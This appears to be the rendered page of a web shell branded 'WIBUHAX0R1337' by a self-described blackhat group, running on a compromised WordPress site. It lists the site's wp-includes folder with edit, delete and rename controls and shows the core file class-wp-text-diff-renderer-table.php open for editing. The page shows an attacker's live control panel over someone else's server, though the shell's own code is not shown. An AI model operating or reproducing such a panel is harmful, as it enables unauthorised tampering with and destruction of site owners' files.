-
WIBUHAX0R1337
-
/
home
/
cideo
/
sainchargny
/
wp-includes
/
[ Home ]
Create Folder
Create File
Nama File / Folder
Size
Action
ID3
--
NONE
IXR
--
NONE
Requests
--
NONE
SimplePie
--
NONE
Text
--
NONE
certificates
--
NONE
css
--
NONE
customize
--
NONE
fonts
--
NONE
images
--
NONE
js
--
NONE
pomo
--
NONE
random_compat
--
NONE
rest-api
--
NONE
theme-compat
--
NONE
widgets
--
NONE
admin-bar.php
27.979KB
Edit File
Delete File
Rename
atomlib.php
11.562KB
Edit File
Delete File
Rename
author-template.php
15.745KB
Edit File
Delete File
Rename
bookmark-template.php
11.425KB
Edit File
Delete File
Rename
bookmark.php
13.352KB
Edit File
Delete File
Rename
cache.php
21.095KB
Edit File
Delete File
Rename
canonical.php
26.937KB
Edit File
Delete File
Rename
capabilities.php
27.153KB
Edit File
Delete File
Rename
category-template.php
50.121KB
Edit File
Delete File
Rename
category.php
11.703KB
Edit File
Delete File
Rename
class-IXR.php
2.513KB
Edit File
Delete File
Rename
class-feed.php
0.51KB
Edit File
Delete File
Rename
class-http.php
35.316KB
Edit File
Delete File
Rename
class-json.php
39.523KB
Edit File
Delete File
Rename
class-oembed.php
32.336KB
Edit File
Delete File
Rename
class-phpass-set.php
0.978KB
Edit File
Delete File
Rename
class-phpass.php
7.146KB
Edit File
Delete File
Rename
class-phpmailer.php
143.344KB
Edit File
Delete File
Rename
class-pop3.php
20.429KB
Edit File
Delete File
Rename
class-requests.php
29.092KB
Edit File
Delete File
Rename
class-simplepie.php
87.172KB
Edit File
Delete File
Rename
class-smtp.php
38.553KB
Edit File
Delete File
Rename
class-snoopy.php
36.899KB
Edit File
Delete File
Rename
class-walker-category-dropdown.php
2.05KB
Edit File
Delete File
Rename
class-walker-category.php
6.485KB
Edit File
Delete File
Rename
class-walker-comment.php
10.911KB
Edit File
Delete File
Rename
class-walker-nav-menu.php
8.195KB
Edit File
Delete File
Rename
class-walker-page-dropdown.php
2.226KB
Edit File
Delete File
Rename
class-walker-page.php
6.556KB
Edit File
Delete File
Rename
class-wp-admin-bar.php
16.571KB
Edit File
Delete File
Rename
class-wp-ajax-response.php
4.906KB
Edit File
Delete File
Rename
class-wp-comment.php
8.727KB
Edit File
Delete File
Rename
class-wp-customize-manager.php
192.604KB
Edit File
Delete File
Rename
class-wp-customize-nav-menus.php
52.297KB
Edit File
Delete File
Rename
class-wp-dependency.php
1.514KB
Edit File
Delete File
Rename
class-wp-embed.php
14.169KB
Edit File
Delete File
Rename
class-wp-feed-cache-transient.php
2.478KB
Edit File
Delete File
Rename
class-wp-feed-cache.php
0.728KB
Edit File
Delete File
Rename
class-wp-hook.php
13.723KB
Edit File
Delete File
Rename
class-wp-http-cookie.php
6.305KB
Edit File
Delete File
Rename
class-wp-http-curl.php
11.405KB
Edit File
Delete File
Rename
class-wp-http-ixr-client.php
3.174KB
Edit File
Delete File
Rename
class-wp-http-proxy.php
5.817KB
Edit File
Delete File
Rename
class-wp-http-requests-hooks.php
1.828KB
Edit File
Delete File
Rename
class-wp-http-requests-response.php
4.173KB
Edit File
Delete File
Rename
class-wp-http-response.php
2.804KB
Edit File
Delete File
Rename
class-wp-http-streams.php
14.644KB
Edit File
Delete File
Rename
class-wp-image-editor-gd.php
12.618KB
Edit File
Delete File
Rename
class-wp-image-editor-imagick.php
21.168KB
Edit File
Delete File
Rename
class-wp-list-util.php
6.22KB
Edit File
Delete File
Rename
class-wp-locale-switcher.php
4.94KB
Edit File
Delete File
Rename
class-wp-locale.php
14.206KB
Edit File
Delete File
Rename
class-wp-matchesmapregex.php
1.754KB
Edit File
Delete File
Rename
class-wp-meta-query.php
21.732KB
Edit File
Delete File
Rename
class-wp-metadata-lazyloader.php
5.246KB
Edit File
Delete File
Rename
class-wp-network.php
11.845KB
Edit File
Delete File
Rename
class-wp-post-type.php
17.809KB
Edit File
Delete File
Rename
class-wp-post.php
6.206KB
Edit File
Delete File
Rename
class-wp-query.php
121.062KB
Edit File
Delete File
Rename
class-wp-rewrite.php
57.527KB
Edit File
Delete File
Rename
class-wp-role.php
2.553KB
Edit File
Delete File
Rename
class-wp-roles.php
7.995KB
Edit File
Delete File
Rename
class-wp-session-tokens.php
7.166KB
Edit File
Delete File
Rename
class-wp-simplepie-file.php
2.219KB
Edit File
Delete File
Rename
class-wp-simplepie-sanitize-kses.php
1.732KB
Edit File
Delete File
Rename
class-wp-site-query.php
22.644KB
Edit File
Delete File
Rename
class-wp-site.php
7.146KB
Edit File
Delete File
Rename
class-wp-tax-query.php
18.749KB
Edit File
Delete File
Rename
class-wp-taxonomy.php
9.759KB
Edit File
Delete File
Rename
class-wp-term-query.php
32.831KB
Edit File
Delete File
Rename
class-wp-term.php
5.149KB
Edit File
Delete File
Rename
class-wp-text-diff-renderer-table.php
14.838KB
Edit File
Delete File
Rename
class-wp-theme.php
46.757KB
Edit File
Delete File
Rename
class-wp-user-meta-session-tokens.php
2.848KB
Edit File
Delete File
Rename
class-wp-user.php
20.194KB
Edit File
Delete File
Rename
class-wp-walker.php
12.088KB
Edit File
Delete File
Rename
class-wp-widget-factory.php
3.658KB
Edit File
Delete File
Rename
class-wp-widget.php
17.244KB
Edit File
Delete File
Rename
class-wp-xmlrpc-server.php
196.664KB
Edit File
Delete File
Rename
class-wp.php
23.196KB
Edit File
Delete File
Rename
class.wp-dependencies.php
10.923KB
Edit File
Delete File
Rename
class.wp-scripts.php
13.828KB
Edit File
Delete File
Rename
class.wp-styles.php
9.564KB
Edit File
Delete File
Rename
comment-template.php
85.683KB
Edit File
Delete File
Rename
comment.php
108.814KB
Edit File
Delete File
Rename
compat.php
15.846KB
Edit File
Delete File
Rename
cron.php
16.081KB
Edit File
Delete File
Rename
date.php
34.18KB
Edit File
Delete File
Rename
default-constants.php
9.338KB
Edit File
Delete File
Rename
default-filters.php
26.517KB
Edit File
Delete File
Rename
default-widgets.php
2.129KB
Edit File
Delete File
Rename
deprecated.php
110.568KB
Edit File
Delete File
Rename
embed-template.php
0.336KB
Edit File
Delete File
Rename
embed.php
43.309KB
Edit File
Delete File
Rename
feed-atom-comments.php
5.231KB
Edit File
Delete File
Rename
feed-atom.php
3.018KB
Edit File
Delete File
Rename
feed-rdf.php
2.607KB
Edit File
Delete File
Rename
feed-rss.php
1.217KB
Edit File
Delete File
Rename
feed-rss2-comments.php
3.969KB
Edit File
Delete File
Rename
feed-rss2.php
3.685KB
Edit File
Delete File
Rename
feed.php
19.092KB
Edit File
Delete File
Rename
formatting.php
260.164KB
Edit File
Delete File
Rename
functions.php
182.204KB
Edit File
Delete File
Rename
functions.wp-scripts.php
11.212KB
Edit File
Delete File
Rename
functions.wp-styles.php
7.891KB
Edit File
Delete File
Rename
general-template.php
135.77KB
Edit File
Delete File
Rename
http.php
21.654KB
Edit File
Delete File
Rename
kses.php
48.935KB
Edit File
Delete File
Rename
l10n.php
42.46KB
Edit File
Delete File
Rename
link-template.php
133.086KB
Edit File
Delete File
Rename
load.php
33.112KB
Edit File
Delete File
Rename
locale.php
0.138KB
Edit File
Delete File
Rename
media-template.php
45.033KB
Edit File
Delete File
Rename
media.php
137.07KB
Edit File
Delete File
Rename
meta.php
36.598KB
Edit File
Delete File
Rename
ms-blogs.php
38.263KB
Edit File
Delete File
Rename
ms-default-constants.php
4.604KB
Edit File
Delete File
Rename
ms-default-filters.php
4.544KB
Edit File
Delete File
Rename
ms-deprecated.php
15.317KB
Edit File
Delete File
Rename
ms-files.php
2.559KB
Edit File
Delete File
Rename
ms-functions.php
88.995KB
Edit File
Delete File
Rename
ms-load.php
18.797KB
Edit File
Delete File
Rename
ms-settings.php
3.992KB
Edit File
Delete File
Rename
nav-menu-template.php
20.382KB
Edit File
Delete File
Rename
nav-menu.php
38.6KB
Edit File
Delete File
Rename
option.php
66.156KB
Edit File
Delete File
Rename
pluggable-deprecated.php
6.115KB
Edit File
Delete File
Rename
pluggable.php
89.844KB
Edit File
Delete File
Rename
plugin.php
30.935KB
Edit File
Delete File
Rename
post-formats.php
6.813KB
Edit File
Delete File
Rename
post-template.php
57.349KB
Edit File
Delete File
Rename
post-thumbnail-template.php
8.023KB
Edit File
Delete File
Rename
post.php
212.527KB
Edit File
Delete File
Rename
query.php
25.017KB
Edit File
Delete File
Rename
registration-functions.php
0.174KB
Edit File
Delete File
Rename
registration.php
0.174KB
Edit File
Delete File
Rename
rest-api-exception.php
4.179KB
Edit File
Delete File
Rename
rest-api.php
37.63KB
Edit File
Delete File
Rename
revision.php
20.806KB
Edit File
Delete File
Rename
rewrite.php
17.092KB
Edit File
Delete File
Rename
rss-functions.php
0.187KB
Edit File
Delete File
Rename
rss.php
22.664KB
Edit File
Delete File
Rename
script-loader.php
78.28KB
Edit File
Delete File
Rename
session.php
0.236KB
Edit File
Delete File
Rename
shortcodes.php
19.962KB
Edit File
Delete File
Rename
spl-autoload-compat.php
2.514KB
Edit File
Delete File
Rename
taxonomy.php
145.88KB
Edit File
Delete File
Rename
template-loader.php
2.828KB
Edit File
Delete File
Rename
template.php
19.328KB
Edit File
Delete File
Rename
theme.php
97.438KB
Edit File
Delete File
Rename
update.php
24.112KB
Edit File
Delete File
Rename
user.php
116.401KB
Edit File
Delete File
Rename
vars.php
5.451KB
Edit File
Delete File
Rename
version.php
0.604KB
Edit File
Delete File
Rename
widgets.php
54.112KB
Edit File
Delete File
Rename
wlwmanifest.xml
1.021KB
Edit File
Delete File
Rename
wp-db.php
97.143KB
Edit File
Delete File
Rename
<?php /** * Diff API: WP_Text_Diff_Renderer_Table class * * @package WordPress * @subpackage Diff * @since 4.7.0 */ /** * Table renderer to display the diff lines. * * @since 2.6.0 * @uses Text_Diff_Renderer Extends */ class WP_Text_Diff_Renderer_Table extends Text_Diff_Renderer { /** * @see Text_Diff_Renderer::_leading_context_lines * @var int * @since 2.6.0 */ public $_leading_context_lines = 10000; /** * @see Text_Diff_Renderer::_trailing_context_lines * @var int * @since 2.6.0 */ public $_trailing_context_lines = 10000; /** * Threshold for when a diff should be saved or omitted. * * @var float * @since 2.6.0 */ protected $_diff_threshold = 0.6; /** * Inline display helper object name. * * @var string * @since 2.6.0 */ protected $inline_diff_renderer = 'WP_Text_Diff_Renderer_inline'; /** * Should we show the split view or not * * @var string * @since 3.6.0 */ protected $_show_split_view = true; protected $compat_fields = array( '_show_split_view', 'inline_diff_renderer', '_diff_threshold' ); /** * Constructor - Call parent constructor with params array. * * This will set class properties based on the key value pairs in the array. * * @since 2.6.0 * * @param array $params */ public function __construct( $params = array() ) { parent::__construct( $params ); if ( isset( $params[ 'show_split_view' ] ) ) $this->_show_split_view = $params[ 'show_split_view' ]; } /** * @ignore * * @param string $header * @return string */ public function _startBlock( $header ) { return ''; } /** * @ignore * * @param array $lines * @param string $prefix */ public function _lines( $lines, $prefix=' ' ) { } /** * @ignore * * @param string $line HTML-escape the value. * @return string */ public function addedLine( $line ) { return "<td class='diff-addedline'>{$line}</td>"; } /** * @ignore * * @param string $line HTML-escape the value. * @return string */ public function deletedLine( $line ) { return "<td class='diff-deletedline'>{$line}</td>"; } /** * @ignore * * @param string $line HTML-escape the value. * @return string */ public function contextLine( $line ) { return "<td class='diff-context'>{$line}</td>"; } /** * @ignore * * @return string */ public function emptyLine() { return '<td> </td>'; } /** * @ignore * * @param array $lines * @param bool $encode * @return string */ public function _added( $lines, $encode = true ) { $r = ''; foreach ($lines as $line) { if ( $encode ) { $processed_line = htmlspecialchars( $line ); /** * Contextually filters a diffed line. * * Filters TextDiff processing of diffed line. By default, diffs are processed with * htmlspecialchars. Use this filter to remove or change the processing. Passes a context * indicating if the line is added, deleted or unchanged. * * @since 4.1.0 * * @param String $processed_line The processed diffed line. * @param String $line The unprocessed diffed line. * @param string null The line context. Values are 'added', 'deleted' or 'unchanged'. */ $line = apply_filters( 'process_text_diff_html', $processed_line, $line, 'added' ); } if ( $this->_show_split_view ) { $r .= '<tr>' . $this->emptyLine() . $this->emptyLine() . $this->addedLine( $line ) . "</tr>\n"; } else { $r .= '<tr>' . $this->addedLine( $line ) . "</tr>\n"; } } return $r; } /** * @ignore * * @param array $lines * @param bool $encode * @return string */ public function _deleted( $lines, $encode = true ) { $r = ''; foreach ($lines as $line) { if ( $encode ) { $processed_line = htmlspecialchars( $line ); /** This filter is documented in wp-includes/wp-diff.php */ $line = apply_filters( 'process_text_diff_html', $processed_line, $line, 'deleted' ); } if ( $this->_show_split_view ) { $r .= '<tr>' . $this->deletedLine( $line ) . $this->emptyLine() . $this->emptyLine() . "</tr>\n"; } else { $r .= '<tr>' . $this->deletedLine( $line ) . "</tr>\n"; } } return $r; } /** * @ignore * * @param array $lines * @param bool $encode * @return string */ public function _context( $lines, $encode = true ) { $r = ''; foreach ($lines as $line) { if ( $encode ) { $processed_line = htmlspecialchars( $line ); /** This filter is documented in wp-includes/wp-diff.php */ $line = apply_filters( 'process_text_diff_html', $processed_line, $line, 'unchanged' ); } if ( $this->_show_split_view ) { $r .= '<tr>' . $this->contextLine( $line ) . $this->emptyLine() . $this->contextLine( $line ) . "</tr>\n"; } else { $r .= '<tr>' . $this->contextLine( $line ) . "</tr>\n"; } } return $r; } /** * Process changed lines to do word-by-word diffs for extra highlighting. * * (TRAC style) sometimes these lines can actually be deleted or added rows. * We do additional processing to figure that out * * @since 2.6.0 * * @param array $orig * @param array $final * @return string */ public function _changed( $orig, $final ) { $r = ''; // Does the aforementioned additional processing // *_matches tell what rows are "the same" in orig and final. Those pairs will be diffed to get word changes // match is numeric: an index in other column // match is 'X': no match. It is a new row // *_rows are column vectors for the orig column and the final column. // row >= 0: an indix of the $orig or $final array // row < 0: a blank row for that column list($orig_matches, $final_matches, $orig_rows, $final_rows) = $this->interleave_changed_lines( $orig, $final ); // These will hold the word changes as determined by an inline diff $orig_diffs = array(); $final_diffs = array(); // Compute word diffs for each matched pair using the inline diff foreach ( $orig_matches as $o => $f ) { if ( is_numeric($o) && is_numeric($f) ) { $text_diff = new Text_Diff( 'auto', array( array($orig[$o]), array($final[$f]) ) ); $renderer = new $this->inline_diff_renderer; $diff = $renderer->render( $text_diff ); // If they're too different, don't include any <ins> or <dels> if ( preg_match_all( '!(<ins>.*?</ins>|<del>.*?</del>)!', $diff, $diff_matches ) ) { // length of all text between <ins> or <del> $stripped_matches = strlen(strip_tags( join(' ', $diff_matches[0]) )); // since we count lengith of text between <ins> or <del> (instead of picking just one), // we double the length of chars not in those tags. $stripped_diff = strlen(strip_tags( $diff )) * 2 - $stripped_matches; $diff_ratio = $stripped_matches / $stripped_diff; if ( $diff_ratio > $this->_diff_threshold ) continue; // Too different. Don't save diffs. } // Un-inline the diffs by removing del or ins $orig_diffs[$o] = preg_replace( '|<ins>.*?</ins>|', '', $diff ); $final_diffs[$f] = preg_replace( '|<del>.*?</del>|', '', $diff ); } } foreach ( array_keys($orig_rows) as $row ) { // Both columns have blanks. Ignore them. if ( $orig_rows[$row] < 0 && $final_rows[$row] < 0 ) continue; // If we have a word based diff, use it. Otherwise, use the normal line. if ( isset( $orig_diffs[$orig_rows[$row]] ) ) $orig_line = $orig_diffs[$orig_rows[$row]]; elseif ( isset( $orig[$orig_rows[$row]] ) ) $orig_line = htmlspecialchars($orig[$orig_rows[$row]]); else $orig_line = ''; if ( isset( $final_diffs[$final_rows[$row]] ) ) $final_line = $final_diffs[$final_rows[$row]]; elseif ( isset( $final[$final_rows[$row]] ) ) $final_line = htmlspecialchars($final[$final_rows[$row]]); else $final_line = ''; if ( $orig_rows[$row] < 0 ) { // Orig is blank. This is really an added row. $r .= $this->_added( array($final_line), false ); } elseif ( $final_rows[$row] < 0 ) { // Final is blank. This is really a deleted row. $r .= $this->_deleted( array($orig_line), false ); } else { // A true changed row. if ( $this->_show_split_view ) { $r .= '<tr>' . $this->deletedLine( $orig_line ) . $this->emptyLine() . $this->addedLine( $final_line ) . "</tr>\n"; } else { $r .= '<tr>' . $this->deletedLine( $orig_line ) . "</tr><tr>" . $this->addedLine( $final_line ) . "</tr>\n"; } } } return $r; } /** * Takes changed blocks and matches which rows in orig turned into which rows in final. * * @since 2.6.0 * * @param array $orig Lines of the original version of the text. * @param array $final Lines of the final version of the text. * @return array { * Array containing results of comparing the original text to the final text. * * @type array $orig_matches Associative array of original matches. Index == row * number of `$orig`, value == corresponding row number * of that same line in `$final` or 'x' if there is no * corresponding row (indicating it is a deleted line). * @type array $final_matches Associative array of final matches. Index == row * number of `$final`, value == corresponding row number * of that same line in `$orig` or 'x' if there is no * corresponding row (indicating it is a new line). * @type array $orig_rows Associative array of interleaved rows of `$orig` with * blanks to keep matches aligned with side-by-side diff * of `$final`. A value >= 0 corresponds to index of `$orig`. * Value < 0 indicates a blank row. * @type array $final_rows Associative array of interleaved rows of `$final` with * blanks to keep matches aligned with side-by-side diff * of `$orig`. A value >= 0 corresponds to index of `$final`. * Value < 0 indicates a blank row. * } */ public function interleave_changed_lines( $orig, $final ) { // Contains all pairwise string comparisons. Keys are such that this need only be a one dimensional array. $matches = array(); foreach ( array_keys($orig) as $o ) { foreach ( array_keys($final) as $f ) { $matches["$o,$f"] = $this->compute_string_distance( $orig[$o], $final[$f] ); } } asort($matches); // Order by string distance. $orig_matches = array(); $final_matches = array(); foreach ( $matches as $keys => $difference ) { list($o, $f) = explode(',', $keys); $o = (int) $o; $f = (int) $f; // Already have better matches for these guys if ( isset($orig_matches[$o]) && isset($final_matches[$f]) ) continue; // First match for these guys. Must be best match if ( !isset($orig_matches[$o]) && !isset($final_matches[$f]) ) { $orig_matches[$o] = $f; $final_matches[$f] = $o; continue; } // Best match of this final is already taken? Must mean this final is a new row. if ( isset($orig_matches[$o]) ) $final_matches[$f] = 'x'; // Best match of this orig is already taken? Must mean this orig is a deleted row. elseif ( isset($final_matches[$f]) ) $orig_matches[$o] = 'x'; } // We read the text in this order ksort($orig_matches); ksort($final_matches); // Stores rows and blanks for each column. $orig_rows = $orig_rows_copy = array_keys($orig_matches); $final_rows = array_keys($final_matches); // Interleaves rows with blanks to keep matches aligned. // We may end up with some extraneous blank rows, but we'll just ignore them later. foreach ( $orig_rows_copy as $orig_row ) { $final_pos = array_search($orig_matches[$orig_row], $final_rows, true); $orig_pos = (int) array_search($orig_row, $orig_rows, true); if ( false === $final_pos ) { // This orig is paired with a blank final. array_splice( $final_rows, $orig_pos, 0, -1 ); } elseif ( $final_pos < $orig_pos ) { // This orig's match is up a ways. Pad final with blank rows. $diff_pos = $final_pos - $orig_pos; while ( $diff_pos < 0 ) array_splice( $final_rows, $orig_pos, 0, $diff_pos++ ); } elseif ( $final_pos > $orig_pos ) { // This orig's match is down a ways. Pad orig with blank rows. $diff_pos = $orig_pos - $final_pos; while ( $diff_pos < 0 ) array_splice( $orig_rows, $orig_pos, 0, $diff_pos++ ); } } // Pad the ends with blank rows if the columns aren't the same length $diff_count = count($orig_rows) - count($final_rows); if ( $diff_count < 0 ) { while ( $diff_count < 0 ) array_push($orig_rows, $diff_count++); } elseif ( $diff_count > 0 ) { $diff_count = -1 * $diff_count; while ( $diff_count < 0 ) array_push($final_rows, $diff_count++); } return array($orig_matches, $final_matches, $orig_rows, $final_rows); } /** * Computes a number that is intended to reflect the "distance" between two strings. * * @since 2.6.0 * * @param string $string1 * @param string $string2 * @return int */ public function compute_string_distance( $string1, $string2 ) { // Vectors containing character frequency for all chars in each string $chars1 = count_chars($string1); $chars2 = count_chars($string2); // L1-norm of difference vector. $difference = array_sum( array_map( array($this, 'difference'), $chars1, $chars2 ) ); // $string1 has zero length? Odd. Give huge penalty by not dividing. if ( !$string1 ) return $difference; // Return distance per character (of string1). return $difference / strlen($string1); } /** * @ignore * @since 2.6.0 * * @param int $a * @param int $b * @return int */ public function difference( $a, $b ) { return abs( $a - $b ); } /** * Make private properties readable for backward compatibility. * * @since 4.0.0 * * @param string $name Property to get. * @return mixed Property. */ public function __get( $name ) { if ( in_array( $name, $this->compat_fields ) ) { return $this->$name; } } /** * Make private properties settable for backward compatibility. * * @since 4.0.0 * * @param string $name Property to check if set. * @param mixed $value Property value. * @return mixed Newly-set property. */ public function __set( $name, $value ) { if ( in_array( $name, $this->compat_fields ) ) { return $this->$name = $value; } } /** * Make private properties checkable for backward compatibility. * * @since 4.0.0 * * @param string $name Property to check if set. * @return bool Whether the property is set. */ public function __isset( $name ) { if ( in_array( $name, $this->compat_fields ) ) { return isset( $this->$name ); } } /** * Make private properties un-settable for backward compatibility. * * @since 4.0.0 * * @param string $name Property to unset. */ public function __unset( $name ) { if ( in_array( $name, $this->compat_fields ) ) { unset( $this->$name ); } } }
Save!!!
© 2022 - 2023 WIBUHAXOR V1 By Lutfifakee || Padang Blackhat